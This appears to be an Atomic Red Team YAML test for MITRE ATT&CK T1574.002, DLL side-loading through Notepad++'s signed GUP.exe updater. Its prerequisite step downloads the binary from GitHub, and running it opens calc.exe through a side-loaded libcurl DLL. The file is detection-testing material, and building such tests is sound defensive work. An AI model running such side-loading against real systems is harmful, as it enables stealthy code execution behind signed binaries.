attack_technique: T1574.002
display_name: 'Hijack Execution Flow: DLL Side-Loading'
atomic_tests:
- name: DLL Side-Loading using the Notepad++ GUP.exe binary
  auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
  description: |
    GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
    Upon execution, calc.exe will be opened.
  supported_platforms:
  - windows
  input_arguments:
    process_name:
      description: Name of the created process
      type: String
      default: calculator.exe
    gup_executable:
      description: GUP is an open source signed binary used by Notepad++ for software updates
      type: Path
      default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Gup.exe binary must exist on disk at specified location (#{gup_executable})
    prereq_command: |
      if (Test-Path #{gup_executable}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
  executor:
    command: |
      #{gup_executable}
    cleanup_command: |
      taskkill /F /IM #{process_name} >nul 2>&1
    name: command_prompt
